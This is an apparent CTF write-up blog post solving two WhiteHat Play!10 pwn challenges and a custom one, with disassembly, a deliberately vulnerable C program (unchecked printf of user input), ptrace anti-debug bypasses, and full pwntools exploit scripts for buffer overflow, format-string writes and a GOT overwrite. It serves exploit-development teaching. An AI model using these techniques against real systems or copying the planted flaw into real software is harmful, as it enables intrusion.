PWN Journey: Part 2
In this post, we will solve two pwn challenges from WhiteHat Play!10 and a customized one. We will also delve into details about most frequently encountered protection bits as well as bypass method for each.
Anyway, I hope you have a good time reading.
WhiteHat Play!10 - pwn01
Goal: Trigger the buffer overflow and call covid19.
This is an original pwn challenge from WhiteHat Play10! Wargame and you can download it here or use this mirror link.
Fingerprinting
Initially, we want to know what type of the binary we are going to analyze and we will have file and radare2 to determine its properties.

A 64-bit ELF with NX bit enabled.
The challenge, of course, does not provide us with its original source code. Here is a list of functions and their disassembled-views.

At 0x004011d9 - main:
[0x7f1963069050]> s main;pdf
; DATA XREF from entry0 @ 0x4010f1
┌ 221: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_120h @ rbp-0x120
│ ; var int64_t var_114h @ rbp-0x114
│ ; var int64_t var_110h @ rbp-0x110
│ ; var int64_t var_4h @ rbp-0x4
│ ; arg int argc @ rdi
│ ; arg char **argv @ rsi
│ 0x004011d9 f30f1efa endbr64
│ 0x004011dd 55 push rbp
│ 0x004011de 4889e5 mov rbp, rsp
│ 0x004011e1 4881ec200100. sub rsp, 0x120
│ 0x004011e8 89bdecfeffff mov dword [var_114h], edi ; argc
│ 0x004011ee 4889b5e0feff. mov qword [var_120h], rsi ; argv
│ 0x004011f5 488b05342e00. mov rax, qword [obj.stdin] ; obj.stdin__GLIBC_2.2.5
│ ; [0x404030:8]=0
│ 0x004011fc b900000000 mov ecx, 0
│ 0x00401201 ba02000000 mov edx, 2
│ 0x00401206 be00000000 mov esi, 0
│ 0x0040120b 4889c7 mov rdi, rax
│ 0x0040120e e89dfeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00401213 488b05062e00. mov rax, qword [obj.stdout] ; obj.stdout__GLIBC_2.2.5
│ ; [0x404020:8]=0
│ 0x0040121a b900000000 mov ecx, 0
│ 0x0040121f ba02000000 mov edx, 2
│ 0x00401224 be00000000 mov esi, 0
│ 0x00401229 4889c7 mov rdi, rax
│ 0x0040122c e87ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x00401231 488b05082e00. mov rax, qword [obj.stderr] ; obj.stderr__GLIBC_2.2.5
│ ; [0x404040:8]=0
│ 0x00401238 b900000000 mov ecx, 0
│ 0x0040123d ba02000000 mov edx, 2
│ 0x00401242 be00000000 mov esi, 0
│ 0x00401247 4889c7 mov rdi, rax
│ 0x0040124a e861feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x0040124f 488d3dda0d00. lea rdi, str.You_can_find_the_key_to_save_humanity_from_the_COVID_19_pandemic ; 0x402030 ; "You can find the key to save humanity from the COVID-19 pandemic"
│ 0x00401256 e825feffff call sym.imp.puts ; int puts(const char *s)
│ 0x0040125b 488d3d0f0e00. lea rdi, str.Here_is_your_chance:_ ; 0x402071 ; "Here is your chance: "
│ 0x00401262 e819feffff call sym.imp.puts ; int puts(const char *s)
│ 0x00401267 488d85f0feff. lea rax, [var_110h]
│ 0x0040126e 4889c6 mov rsi, rax
│ 0x00401271 488d3d0f0e00. lea rdi, [0x00402087] ; "%s"
│ 0x00401278 b800000000 mov eax, 0
│ 0x0040127d e83efeffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x00401282 488d85f0feff. lea rax, [var_110h]
│ 0x00401289 4889c7 mov rdi, rax
│ 0x0040128c e8fffdffff call sym.imp.strlen ; size_t strlen(const char *s)
│ 0x00401291 8945fc mov dword [var_4h], eax
│ 0x00401294 488d85f0feff. lea rax, [var_110h]
│ 0x0040129b 4889c7 mov rdi, rax
│ 0x0040129e e8ddfdffff call sym.imp.puts ; int puts(const char *s)
│ 0x004012a3 488d3de00d00. lea rdi, str.No_please_try_again____ ; 0x40208a ; "No,please try again!!!!"
│ 0x004012aa e8d1fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x004012af b800000000 mov eax, 0
│ 0x004012b4 c9 leave
└ 0x004012b5 c3 ret
and at 0x004011b6, we have covid19:
[0x004011d9]> s sym.covid19 ;pdf
┌ 35: sym.covid19 ();
│ 0x004011b6 f30f1efa endbr64
│ 0x004011ba 55 push rbp
│ 0x004011bb 4889e5 mov rbp, rsp
│ 0x004011be 488d3d430e00. lea rdi, str.Congratulations_ ; 0x402008 ; "Congratulations!"
│ 0x004011c5 e8b6feffff call sym.imp.puts ; int puts(const char *s)
│ 0x004011ca 488d3d480e00. lea rdi, str.cat__home_easybof_flag ; 0x402019 ; "cat /home/easybof/flag"
│ 0x004011d1 e8cafeffff call sym.imp.system ; int system(const char *string)
│ 0x004011d6 90 nop
│ 0x004011d7 5d pop rbp
└ 0x004011d8 c3 ret
If you have a difficult time understand this low-level language, try to get the gist and look at their roughly equivalent pseudo-c as follows:
int main()
{
int size;
char buffer[0x110];
puts("You can find the key to save humanity from the COVID-19 pandemic");
puts("Here is your chance: ");
scanf("%s", buffer);
size = strlen(buffer);
puts(buffer)
puts("No,please try again!!!!");
return 0;
}
void covid19()
{
puts("Congratulations!");
system("cat /home/easybof/flag");
}
Code breakdown
There are two functions, main and covid19.
main creates a presumable buffer of 0x110 bytes in size and covid19 merely prints Congratulations! then calls system to read the flag at /home/easybof/flag.
Solution
As scanf has no boundary check, it provides a buffer overflow opportunity for us to exploit. We thus have to determine the padding length between the buffer and our RIP, thereby making it point to the address of covid19.
Hence, our ret2win skeleton payload:
payload = PAD_TIL_RIP (??) + covid19_ADDR (??)
In order to find the PAD_TIL_RIP variable, as you may or may not have already known from my previous post, we mentioned a sequence called De Bruijn Sequence that can evaluate the distance between the start offset of our buffer and RIP.
And make sure your sequence has the length of buffer_size + 4n, keep increase until a SIGSEGV (code=1) occurs. In this case, I will have ragg2 to generate a sequence of 284 characters
┌──(legiahuyy㉿kali)-[~/…/Study/PWN/WhiteHatWargame/pwn1_c15747119b]
└─$ ragg2 -P 280 -r
AAABAACAADAAEAAFAAGAAHAAIAAJAAKAALAAMAANAAOAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAAaAAbAAcAAdAAeAAfAAgAAhAAiAAjAAkAAlAAmAAnAAoAApAAqAArAAsAAtAAuAAvAAwAAxAAyAAzAA1AA2AA3AA4AA5AA6AA7AA8AA9AA0ABBABCABDABEABFABGABHABIABJABKABLABMABNABOABPABQABRABSABTABUABVABWABXABYABZABaABbABcABdABeABfABg
then feed it to the program and successfully be able to control the RIP.

So, our PAD_TIL_RIP would be 280.
The last variable is covid19_ADDR, which we can get with afl~covid19.
[0x7f0041684241]> afl~covid19
0x004011b6 1 35 sym.covid19
[0x7f0041684241]>
And our final payload is:
payload = PAD_TIL_RIP (280) + covid19_ADDR (0x004011b6)
SOLVE.py
Now, we already have everything needed for the script but unfortunately, I could not connect to the wargame server as it ended a month ago, so I created a fake flag locate exactly at /home/easybof/flag.
#!/usr/bin/env python3
from pwn import *
context.binary = ELF('./easybof')
r = process()
payload = b'a' * 280 # padding
payload += p64(0x004011b6) # covid19 address
r.sendlineafter(b'Here is your chance: ', payload)
print(r.recvall())

WhiteHat Play!10 - pwn02
Goal: Modify a volatile variable and successfully read the flag.
This is an original pwn challenge from WhiteHat Play10! Wargame and you can download it here or use this mirror link.
From my perspective, the challenge itself is neither difficult nor complicated and we have already had a similar one in our first part of the journey. Nevertheless, I still want to give you another example of how I go around and poke things to solve these tasks. Moreover, there is one new detail (to me, at least) in this challenge, which I thought it might intrigue you readers.
Fingerprinting
As usual, let us check the properties of our ELF - “ChickenStar”.
radare2 output:

file output:

During normal execution, the program prompts for a password then repeats our input and prints a constant value of 0x43563139.
In-depth analysis
Have a glance at the functions list and their disassembly in radare2.
Type afl to list all functions.

The binary composed of two principal functions, main and sym.check.
You may have noticed that the addresses are somewhat different from other challenges we have encountered and this happens by reason of the PIE protection bit (stands for Position Independent Executable), which means every time you run the file, it gets loaded into a different memory region and this prevent hardcode values such as function addresses or gadget locations, thus making it slightly more difficult for ret2win, ret2libc and such others to work properly.
Let see what is inside main
; DATA XREF from entry0 @ 0x5555555551a1
┌ 304: int main (int argc, char **argv, char **envp);
│ ; var int64_t var_60h @ rbp-0x60
│ ; var int64_t var_18h @ rbp-0x18
│ 0x5555555552ae f30f1efa endbr64
│ 0x5555555552b2 55 push rbp
│ 0x5555555552b3 4889e5 mov rbp, rsp
│ 0x5555555552b6 53 push rbx
│ 0x5555555552b7 4883ec58 sub rsp, 0x58
│ 0x5555555552bb 48c745e83931. mov qword [var_18h], 0x43563139 ; '91VC'
│ 0x5555555552c3 488b05662d00. mov rax, qword [reloc.stdin] ; [0x555555558030:8]=0
│ 0x5555555552ca b900000000 mov ecx, 0
│ 0x5555555552cf ba02000000 mov edx, 2
│ 0x5555555552d4 be00000000 mov esi, 0
│ 0x5555555552d9 4889c7 mov rdi, rax
│ 0x5555555552dc e86ffeffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x5555555552e1 488b05382d00. mov rax, qword [reloc.stdout] ; [0x555555558020:8]=0
│ 0x5555555552e8 b900000000 mov ecx, 0
│ 0x5555555552ed ba02000000 mov edx, 2
│ 0x5555555552f2 be00000000 mov esi, 0
│ 0x5555555552f7 4889c7 mov rdi, rax
│ 0x5555555552fa e851feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x5555555552ff 488b053a2d00. mov rax, qword [reloc.stderr] ; [0x555555558040:8]=0
│ 0x555555555306 b900000000 mov ecx, 0
│ 0x55555555530b ba02000000 mov edx, 2
│ 0x555555555310 be00000000 mov esi, 0
│ 0x555555555315 4889c7 mov rdi, rax
│ 0x555555555318 e833feffff call sym.imp.setvbuf ; int setvbuf(FILE*stream, char *buf, int mode, size_t size)
│ 0x55555555531d 488d3d040d00. lea rdi, str.Can_you_find_the_bank_password_to_prove_your_idols_purity_ ; 0x555555556028 ; "Can you find the bank password to prove your idols' purity!"
│ 0x555555555324 e8c7fdffff call sym.imp.puts ; int puts(const char *s)
│ 0x555555555329 488d3d380d00. lea rdi, str.Enter_string_password_here_to_print_account_statement:_ ; 0x555555556068 ; "Enter string password here to print account statement: "
│ 0x555555555330 b800000000 mov eax, 0
│ 0x555555555335 e8d6fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x55555555533a 488d45a0 lea rax, [var_60h]
│ 0x55555555533e 4889c6 mov rsi, rax
│ 0x555555555341 488d3d580d00. lea rdi, [0x5555555560a0] ; "%s"
│ 0x555555555348 b800000000 mov eax, 0
│ 0x55555555534d e80efeffff call sym.imp.__isoc99_scanf ; int scanf(const char *format)
│ 0x555555555352 488d45a0 lea rax, [var_60h]
│ 0x555555555356 4889c6 mov rsi, rax
│ 0x555555555359 488d3d430d00. lea rdi, str.__s_n ; 0x5555555560a3 ; " %s\n"
│ 0x555555555360 b800000000 mov eax, 0
│ 0x555555555365 e8a6fdffff call sym.imp.printf ; int printf(const char *format)
│ 0x55555555536a 488b45e8 mov rax, qword [var_18h]
│ 0x55555555536e 4889c6 mov rsi, rax
│ 0x555555555371 488d3d300d00. lea rdi, str.val:_0x_08x_n ; str.val:_0x_08x_n
│ ; 0x5555555560a8 ; "val: 0x%08x\n"
│ 0x555555555378 b800000000 mov eax, 0
│ 0x55555555537d e88efdffff call sym.imp.printf ; int printf(const char *format)
│ 0x555555555382 b8efbeadde mov eax, 0xdeadbeef
│ 0x555555555387 483945e8 cmp qword [var_18h], rax
│ ┌─< 0x55555555538b 752f jne 0x5555555553bc
│ │ 0x55555555538d 488d3d210d00. lea rdi, str.Good_Job_Amazing_ ; 0x5555555560b5 ; "Good Job,Amazing!"
│ │ 0x555555555394 e857fdffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x555555555399 e882fdffff call sym.imp.geteuid ; uid_t geteuid(void)
│ │ 0x55555555539e 89c3 mov ebx, eax
│ │ 0x5555555553a0 e87bfdffff call sym.imp.geteuid ; uid_t geteuid(void)
│ │ 0x5555555553a5 89de mov esi, ebx
│ │ 0x5555555553a7 89c7 mov edi, eax
│ │ 0x5555555553a9 e892fdffff call sym.imp.setreuid
│ │ 0x5555555553ae 488d3d120d00. lea rdi, str.cat__home_ChickenStar_flag ; 0x5555555560c7 ; "cat /home/ChickenStar/flag"
│ │ 0x5555555553b5 e846fdffff call sym.imp.system ; int system(const char *string)
│ ┌──< 0x5555555553ba eb16 jmp 0x5555555553d2
│ │└─> 0x5555555553bc 488d3d250d00. lea rdi, str.Incorrect_password_cannot_print_account_statement._Please_try_again____ ; 0x5555555560e8 ; "Incorrect password cannot print account statement. Please try again!!!!"
│ │ 0x5555555553c3 e828fdffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x5555555553c8 bf01000000 mov edi, 1
│ │ 0x5555555553cd e89efdffff call sym.imp.exit ; void exit(int status)
│ │ ; CODE XREF from main @ 0x5555555553ba
│ └──> 0x5555555553d2 b800000000 mov eax, 0
│ 0x5555555553d7 4883c458 add rsp, 0x58
│ 0x5555555553db 5b pop rbx
│ 0x5555555553dc 5d pop rbp
└ 0x5555555553dd c3 ret
and check.
┌ 69: sym.check ();
│ 0x555555555269 f30f1efa endbr64
│ 0x55555555526d 55 push rbp
│ 0x55555555526e 4889e5 mov rbp, rsp
│ 0x555555555271 b900000000 mov ecx, 0
│ 0x555555555276 ba00000000 mov edx, 0
│ 0x55555555527b be00000000 mov esi, 0
│ 0x555555555280 bf00000000 mov edi, 0
│ 0x555555555285 b800000000 mov eax, 0
│ 0x55555555528a e8a1feffff call sym.imp.ptrace ; long ptrace(__ptrace_request request, pid_t pid, void*addr, void*data)
│ 0x55555555528f 4883f8ff cmp rax, 0xffffffffffffffff
│ ┌─< 0x555555555293 7516 jne 0x5555555552ab
│ │ 0x555555555295 488d3d6c0d00. lea rdi, str.__LOL________ ; 0x555555556008 ; "========> LOL!!!!!! <========"
│ │ 0x55555555529c e84ffeffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x5555555552a1 bfffffffff mov edi, 0xffffffff ; -1
│ │ 0x5555555552a6 e835feffff call sym.imp._exit ; void _exit(int status)
│ └─> 0x5555555552ab 90 nop
│ 0x5555555552ac 5d pop rbp
└ 0x5555555552ad c3 ret
Here are their equivalent pseudo-c.
int main()
{
volatile long password = 0x43563139;
char buffer[72];
puts("Can you find the bank password to prove your idols\' purity!");
printf("Enter string password here to print account statement: ");
scanf("%s", buffer);
printf(" %s\n",local_68);
printf("val: 0x%08x\n", check);
if(password == 0xdeadbeef)
{
__euid = geteuid();
__ruid = geteuid();
setreuid(__ruid,__euid);
system("cat /home/ChickenStar/flag");
return 0;
}
puts("Incorrect password cannot print account statement. Please try again!!!!");
return 0;
}
void check() /*sym.check*/
{
long trace = 0;
trace = ptrace(PTRACE_TRACEME, 0, 0, 0);
if(trace == -1)
{
puts("========> LOL!!!!!! <========");
exit(1); // Terminate entire process
}
}
Code breakdown
main:
- Creates a buffer of 72 bytes and a volatile variable (dubbed
password) with0x43563139as its value - Reads and prints out the buffer as well as
password, consecutively. - Prints the flag whether
passwordis equal to0xdeadbeef; otherwise, exits normally
check:
- Being called during startup (
__libc_csu_init) - Traces and examines memory region and registers to act as an anti-debugging method

Solution
In order to solve the challenge, we need to modify the volatile variable password to 0xdeadbeef. However, there is one impediment preventing us from determining the padding length or debugging the program as a result of an anti-debugging technique implemented in check.
The implementation invokes ptrace function to attach to our process at runtime so it can monitor and control the execution flow. You can find more information about ptrace by visiting this man page.
Signature overridden
So we have to think of a way to bypass this anti-debugging procedure, and fortunately, we can actually achieve this by abusing the LD_PRELOAD environment variable as it lets us control the loading path of a shared library, hence enables us to neutralize ptrace.
Let us create a shared library with ptrace signature to override it
// A "do-nothing" ptrace
long ptrace(int request, int pid, void *addr, void *data) {
return 0;
}
then we shall compile it as gcc -shared ptrace.c -o ptrace.so and load it into radare2 with the following options:
$ r2 -Ad -e bin.cache=true -Rsetenv=LD_PRELOAD=./ptrace_bypass.so ./ChickenStar

Patching opcodes
Another quick, reliable method is to patch the jump condition inside the check procedure.
Reload the binary in radare2 with write mode enabled and pay your attention to the code within0x00001293 - 0x000012ab range.
┌ 69: sym.check ();
...
│ 0x0000128f 4883f8ff cmp rax, 0xffffffffffffffff
│ ┌─< 0x00001293 7416 jne 0x12ab ; PATCH
│ │ 0x00001295 488d3d6c0d00. lea rdi, str.__LOL________ ; 0x2008 ; "========> LOL!!!!!! <========" ; const char *s
│ │ 0x0000129c e84ffeffff call sym.imp.puts ; int puts(const char *s)
│ │ 0x000012a1 bfffffffff mov edi, 0xffffffff ; -1 ; int status
│ │ 0x000012a6 e835feffff call sym.imp._exit ; void _exit(int status) <--- This will exit the program and we don't want that!
│ │ ; CODE XREF from sym.check @ 0x1293
│ └─> 0x000012ab 90 nop
...
As can be seen, we have to patch the JNE instruction with JE as we want it to always take the jump to the NOP instruction at 0x000012ab.

Reopen the file and it should work properly.

Debugging
We are finally able to debug as well as calculate the distance between our buffer and password. Now, let us set a breakpoint after scanf and have a look at the stack.

By respectively subtracting the two offsets containing 0x43563139 and 0x636261 with each other and we thereby have our padding length of 80 bytes whereas the last 8 bytes is for password (QWORD, or long type).
Skeleton payload:
payload = PADDING (72) + PASSWORD (0xdeadbeef)
Solve.py
This challenge can be solve with this simple one-liner
$ python -c "print b'A'*72 + b'\xef\xbe\xad\xde'" | ./ChickenStar
or you want to play around with pwntools more then here:
#!/usr/bin/env python3
from pwn import *
r = process('./ChickenStar')
payload = b'A' * 72 + p64(0xdeadbeef)
r.sendlineafter(b'account statement: ', payload)
print(r.clean())

login (custom)
Goal: Be able to fully comprehend the format string vulnerability as well as other protection bits (e.g., PIE/PIC, canary, ASLR and RELRO).
In the previous tasks, we have been repeatedly mentioning PIE/PIC, format string vulnerability and canaries but did not go in detail. Considering that, I have made a customized challenge as a nice little stopover for you readers to practice and have a concrete understanding about the aforementioned concepts.
The challenge also comes with its source code and build options, feel free to reproduce or modify it to your liking and it is strongly recommended that you should try to complete the tasks to some extent before reaching the solution part.
//Build: $ gcc -g readme.c -o readme -pie -fstack-protector -z execstack
// Build target: Linux kali 5.14.0-kali2-amd64 #1 SMP Debian 5.14.9-2kali1 (2021-10-04) x86_64 GNU/Linux
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
long authen_code = 0;
void login();
void win();
int main()
{
login();
return 0;
}
void win()
{
printf("\n\nCongratulation! You've won!\n\n");
}
void login()
{
char creds[255] = { '\0' };
authen_code = 0xBADF00D;
printf("Welcome to %lx sector!\n", login);
printf("Enter credentials: ");
fgets(creds, sizeof(creds) * sizeof(char), stdin);
printf("Verifying...");
printf(creds);
if(0x1ee71ee7 == authen_code)
{
printf("Nice job!\n");
printf("Now gotta call win()!\n");
exit(0);
}
else
{
printf("Your authen_code is invalid!\nauthen_code = %p\n", authen_code);
}
}
Fingerprinting
Expected output during normal run

and the properties.
[0x00001090]> iI~nx,relro,canary,bits,pic
bits 64
canary true
nx true
pic true
relro partial
As demonstrated, the program reads from STDIN, prints a welcome message with our input and carries out a conditional jump before exiting. In most scenarios, this conventional functionality of printing out exact input values is likely an indication of information leakage, herein the format string vulnerability.
You can try confirming it by feeding the buffer with format specifiers then see if there are any odd values printed out. Let us use %p which is a pointer specifier and here is the result:

You can go back to and read the previous example about format string in part one - canary.
Code breakdown
There are three functions: main, login and win; and a global variable authen_code.
Whereas main and win respectively invokes login and prints a congratulation message, login has a slightly more complicated structure as it does:
- Create a buffer, dubbed
creds, of 255 bytes in size - Assign
0xBADF00Dto the global variableauthen_code - Print the current address of itself
- Securely read the input from STDIN to
credsusingfgetsthen printcredsout again withprintf - Invoke
exit(0)whether0x1ee71ee7 == authen_code, otherwise print an error message and currentauthen_codevalue
Henceforth, we will have to:
-
Calculate the base address of our binary using the leaked address of
loginand bypass PIE/PIC -
Manipulate the format string vulnerability to perform an arbitrary read/write and modify the value of
authen_codeto0x1ee71ee7 -
Overwrite the Global Offset Table and call
win
In-depth analysis
Load the binary into radare2 and have a glance at its disassembled functions.
main:

and win:

You might be wondering why there is no canary check in either the prologue or epilogue of these two main and win functions. This happens since the two simply do not inquire about the stack or have any particular tasks that need the sentinel values.
login, however, is different as it is plain to see the canary is being stored at rbp-0x8:
[0x7f492b935050]> pdf @ sym.login
; CALL XREF from main @ 0x56279e188182
; DATA XREF from sym.login @ 0x56279e18820c
┌ 329: sym.login ();
│ ; var int64_t var_110h @ rbp-0x110
│ ; var int64_t var_108h @ rbp-0x108
│ ; var int64_t var_100h @ rbp-0x100
│ ; var int64_t var_8h @ rbp-0x8
│ 0x56279e1881a4 55 push rbp
│ 0x56279e1881a5 4889e5 mov rbp, rsp
│ 0x56279e1881a8 4881ec100100. sub rsp, 0x110
│ 0x56279e1881af 64488b042528. mov rax, qword fs:[0x28]
│ 0x56279e1881b8 488945f8 mov qword [var_8h], rax
│ 0x56279e1881bc 31c0 xor eax, eax
...
│ 0x56279e1882d6 90 nop
│ 0x56279e1882d7 488b45f8 mov rax, qword [var_8h]
│ 0x56279e1882db 64482b042528. sub rax, qword fs:[0x28]
│ ┌─< 0x56279e1882e4 7405 je 0x56279e1882eb
│ │ 0x56279e1882e6 e855fdffff call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void)
│ └─> 0x56279e1882eb c9 leave
└ 0x56279e1882ec c3 ret
Arbitrary read with Format String
Our first objective is to have authen_code value overwritten to 0x1ee71ee7.
But there is no buffer overflow gadget to use as the code is using fgets to properly read our input, so the only solution left is format string which can be triggered within the printf function. We thus have to determine where we can read our buffer, and fortunately that pwntools is able to help us to automatically accomplish the process. It might be worth nothing but you can find information about the manual method in our previous “canary” challenge from part one.

I have already prepared the script using FmtStr1
#!/usr/bin/env python3
from pwn import *
# Load the binary
elf = context.binary = ELF("./login")
# Due to my Linux is constantly handling lots of buffering,
# so it has to use a pseudo-terminal to prompt for IO properly
pty = process.PTY
def exec_fmt(payload):
p = process([elf.path], stdin=pty, stdout=pty)
p.sendlineafter(b'Enter credentials: ', payload)
return p.recvline().strip(b'Verifying...').strip(b'\n')
# Automatically looking for our buffer offset
autofmt = FmtStr(exec_fmt)
# return offset position
offset = autofmt.offset
and it works properly.

Now that our buffer starts at the sixth offset and we want it to overwrite authen_code which is a global variable, so we presumably can get its address using readelf as follows:
┌──(legiahuyy㉿kali)-[~/…/Study/PWN/etc/frmstr]
└─$ readelf -s ./login|grep authen_code
31: 0000000000004060 8 OBJECT GLOBAL DEFAULT 25 authen_code
You perhaps are thinking that 0x00004060 is the correct address for authen_code then you must have forgotten about the PIE bit, but it is completely fine since we are going to glide over it one more time.
In computing, position-independent code[1] (PIC[1]) or position-independent executable (PIE)[2] is a body of machine code that, being placed somewhere in the primary memory, executes properly regardless of its absolute address.
It basically means that every time you run the file, all the addresses of functions, global objects therein will be randomized and you cannot just dump these out statically as they are inconsistent.
PIE/PIC bypass with given leaks
On that account, we need to compute the base address before being able to invoke or even modify anything. Fortunately, login tells us where it is located and we can use the given address to bypass PIE and this is also our second objective.
Imagine PIE/PIC executables work like this, you have a main function is located at 0x00412, when you run the file, main’s address is then added up with a random value, say 0x1000, so that now it is 0x01412. Moreover, this random value, dubbed base address, is shared across the memory region of the current instance; hence, our formula for this
base_address = leaked_login_addr - abs_login_addr
and we can automate the process using pwntools.
...
p = process([elf.path], stdin=pty, stdout=pty)
leaked_login_addr = int(p.recvline().strip(b'Welcome to ').strip(b' sector!\n'), 16)
abs_login_addr = elf.sym['login']
elf.address = leaked_login_addr - abs_login_addr
log.info(f'leaked_login_addr = {hex(leaked_login_addr)}')
log.info(f'abs_login_addr = {hex(abs_login_addr)}')
log.success(f'base_address = {hex(elf.address)}')
...
On the first and second run.

Arbitrary write with Format String
We by far have had the base address, authen_code address and the buffer offset, we now just need to construct our payload, accordingly modify the value of authen_code and complete our first goal. This can be feasible either constructing the payload manually or using auxiliaries from pwntools.
As for myself, I would prefer the automated method to the conventional way since I am lazy the latter is much more strenuous for me to handle. That being said, it is worth showing you a brief concept how we can do it by hand.
Theprintf function has a very special format specifier %n which instead of printing something, it causes printf to load a pointer and write there the number of characters printed by printf before the occurrence of %n. For instance, we have a C snippet as follows:
...
int main()
{
int data = 0;
printf("abcdefg%n\n", &data);
printf("data = %d", data);
return 0;
}
Build and run the source:

The idea is that you will print a string of 0x1ee71ee7 characters to authen_code’s address using the %n format specifier in print, so your payload looks like this much or less.
payload = authen_code_addr + b'A' * (0x1ee71ee7 - sizeof(authen_code_addr)) + b"%hhn"
We have to substract the 0x1ee71ee7 for sizeof(authen_code_addr) as %n would count it as well, remember? And %hhn instructs printf to write the number of printed bytes as byte or that of %hn as short for smaller size write.
But efficiency, performance and laziness are more to your liking, pwntools has a handy utility for it to match exactly what you desire - fmtstr_payload.
# Syntax
fmtstr_payload(offset, writes, numbwritten=0, write_size='byte')
The function works similar to how we explain above in the manual method, however, it also provides optimization and thankfully save us some time.
...
p = process([elf.path], stdin=pty, stdout=pty)
leaked_login_addr = int(p.recvline().strip(b'Welcome to ').strip(b' sector!\n'), 16)
abs_login_addr = elf.sym['login']
elf.address = leaked_login_addr - abs_login_addr
log.info(f'leaked_login_addr = {hex(leaked_login_addr)}')
log.info(f'abs_login_addr = {hex(abs_login_addr)}')
log.success(f'base_address = {hex(elf.address)}')
authen_code_offset = elf.sym['authen_code']
log.info('authen_code offset: %s' % hex(authen_code_offset))
payload = fmtstr_payload(6, {authen_code_offset : 0x1ee71ee7})
log.info(f'fmtstr_payload: {payload}')
p.sendlineafter(b'Enter credentials: ', payload)
print(p.clean().decode('latin-1'))
And we have achieved our first goal - modify authen_code.

Overwrite GOT
Global Offset Table, or GOT, is one of the sections within an ELF binary that maps symbols to their corresponding absolute memory addresses and facilitate PIE/PIC portion. Furthermore, GOT is loaded into the memory at startup to provide dynamic linking as well as functionalities for the program. Simply put, GOT contains the addresses of functions that the program will use to call from libc, the C standard library and if we could overwrite an entry, it would be possible to gain code execution.
In our case, we want to overwrite GOT entry of exit with the location of win, however, there are some constraints:
- If the binary has Full RELRO protection enabled then no GOT overwrite.
- You need to bypass PIE/PIC, ASLR before being able to call anything.
- Format string or buffer overflow vulnerability.
Luckily, the binary has Partial RELRO property and we have already handled PIE/PIC in the prior part so we can simply overwrite the exit entry and replace it with win using pwntools.
payload = fmtstr_payload(6, {authen_code_offset : 0x1ee71ee7, elf.got['exit'] : elf.sym['win']})
log.info(f'fmtstr_payload: {payload}')
p.sendlineafter(b'Enter credentials: ', payload)

Solve.py
#!/usr/bin/env python3
from pwn import *
elf = context.binary = ELF("./login")
pty = process.PTY
def exec_fmt(payload):
p = process([elf.path], stdin=pty, stdout=pty)
p.sendlineafter(b'Enter credentials: ', payload)
return p.recvline().strip(b'Verifying...').strip(b'\n')
'''
autofmt = FmtStr(exec_fmt)
offset = autofmt.offset
'''
p = process([elf.path], stdin=pty, stdout=pty)
leaked_login_addr = int(p.recvline().strip(b'Welcome to ').strip(b' sector!\n'), 16)
abs_login_addr = elf.sym['login']
elf.address = leaked_login_addr - abs_login_addr
log.info(f'leaked_login_addr = {hex(leaked_login_addr)}')
log.info(f'abs_login_addr = {hex(abs_login_addr)}')
log.success(f'base_address = {hex(elf.address)}')
authen_code_offset = elf.sym['authen_code']
log.info('authen_code offset: %s' % hex(authen_code_offset))
payload = fmtstr_payload(6, {authen_code_offset : 0x1ee71ee7, elf.got['exit'] : elf.sym['win']})
log.info(f'fmtstr_payload: {payload}')
p.sendlineafter(b'Enter credentials: ', payload)
print(p.clean())
Footnotes
-
Format string bug exploitation tools. ↩︎